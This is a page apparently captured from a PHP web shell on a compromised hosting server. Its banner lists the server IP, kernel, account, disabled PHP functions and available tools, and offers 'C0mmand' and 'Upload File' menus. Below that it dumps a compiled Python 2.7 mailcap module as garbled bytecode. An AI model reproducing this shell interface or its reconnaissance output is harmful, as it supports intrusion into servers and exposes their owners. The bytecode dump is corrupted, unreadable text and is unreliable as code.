|
Server IP : 217.21.91.233 / Your IP : 216.73.216.58 Web Server : LiteSpeed System : Linux in-mum-web832.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u952924200 ( 952924200) PHP Version : 8.2.27 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /../opt/alt/dav1d/../php54/../python27/lib64/python2.7/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
�
�V~gc @ s� d Z d d l Z d d g Z d � Z d � Z d � Z d � Z d � Z d
d g d � Z d d
� Z
g d � Z d � Z d � Z
d � Z e d k r� e
� n d S( s% Mailcap file handling. See RFC 1524.i����Nt getcapst findmatchc C s� i } x� t � D]� } y t | d � } Wn t k
r? q n X| � t | � } Wd QXxE | j � D]7 \ } } | | k r� | | | <qf | | | | | <qf Wq W| S( s� Return a dictionary containing the mailcap database.
The dictionary maps a MIME type (in all lowercase, e.g. 'text/plain')
to a list of dictionaries corresponding to mailcap entries. The list
collects all the entries for that MIME type from all available mailcap
files. Each dictionary contains key-value pairs for that MIME type,
where the viewing command is stored with the key "view".
t rN( t listmailcapfilest opent IOErrort readmailcapfilet iteritems( t capst mailcapt fpt morecapst keyt value( ( s, /opt/alt/python27/lib64/python2.7/mailcap.pyR s
c C sm d t j k r. t j d } | j d � } n; d t j k rM t j d } n d } | d d d d g } | S( s7 Return a list of all mailcap files found on the system.t MAILCAPSt :t HOMEt .s /.mailcaps /etc/mailcaps /usr/etc/mailcaps /usr/local/etc/mailcap( t ost environt split( t strt mailcapst home( ( s, /opt/alt/python27/lib64/python2.7/mailcap.pyR "